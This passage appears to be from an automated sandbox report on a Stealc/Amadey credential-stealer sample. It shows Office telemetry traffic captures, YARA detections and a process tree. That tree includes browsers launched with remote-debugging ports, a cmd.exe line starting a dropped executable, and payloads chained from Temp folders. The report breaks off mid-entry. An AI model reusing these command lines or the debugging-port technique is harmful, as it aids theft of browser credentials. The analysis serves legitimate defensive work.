2024-11-16 18:22:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182241Z-16547b76f7f7zzl8hC1DFWmtag000000024g000000002c7b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49928	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:41 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:42 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 12 Nov 2024 13:30:55 GMT X-Datacenter: westus X-ActivityId: d76789f8-3945-49cd-9853-d102590122da Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=69012 Expires: Sun, 17 Nov 2024 13:32:53 GMT Date: Sat, 16 Nov 2024 18:22:41 GMT Connection: close
2024-11-16 18:22:42 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182242Z-16547b76f7fpdsp9hC1DFW8f5000000000q000000000kgkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:42 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 42a4478f-a01e-0032-2706-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182242Z-164f84587bfmxxfphC1DFW3au800000001gg00000000m20k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182242Z-16547b76f7fx6rhxhC1DFW76kg0000000q0g00000000787v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Target ID:	0
Start time:	13:22:01
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x210000
File size:	1'786'368 bytes
MD5 hash:	25E27549E1527D5AAF41A3C33AD2E6D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2497943980.0000000000211000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2063052849.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:22:07
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:22:08
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,1856153445990450986,14719946198710532019,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:22:17
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:22:18
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2288,i,8108119705186044268,9136360584141256623,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:22:18
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:22:18
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:22:22
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:22:22
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:22:44
Start date:	16/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKFBGDBFBKK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:22:44
Start date:	16/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:22:44
Start date:	16/11/2024
Path:	C:\Users\user\DocumentsKFBGDBFBKK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKFBGDBFBKK.exe"
Imagebase:	0x1e0000
File size:	3'254'784 bytes
MD5 hash:	3C2DD6E6C50D2E0FFA7D6BFDE254ABE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2597591195.00000000001E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:22:53
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf0000
File size:	3'254'784 bytes
MD5 hash:	3C2DD6E6C50D2E0FFA7D6BFDE254ABE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2642470466.00000000000F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:23:00
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf0000
File size:	3'254'784 bytes
MD5 hash:	3C2DD6E6C50D2E0FFA7D6BFDE254ABE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	13:23:10
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Imagebase:	0x9d0000
File size:	1'868'800 bytes
MD5 hash:	771A68F18853ECF47B4AB531D7AED0ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:23:15
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe"
Imagebase:	0x400000
File size:	1'786'368 bytes
MD5 hash:	25E27549E1527D5AAF41A3C33AD2E6D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.2812437096.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2855713450.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2852960871.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:23:17
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4160 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:23:18
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2524 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:23:19
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'254'784 bytes
MD5 hash:	3C2DD6E6C50D2E0FFA7D6BFDE254ABE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:23:25
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Imagebase:	0x9d0000
File size:	1'868'800 bytes
MD5 hash:	771A68F18853ECF47B4AB531D7AED0ED
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2938904048.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3001205513.0000000000501000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2958896152.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2974552760.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2975502163.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2938451798.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2942042952.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2978097870.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:23:29
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe"
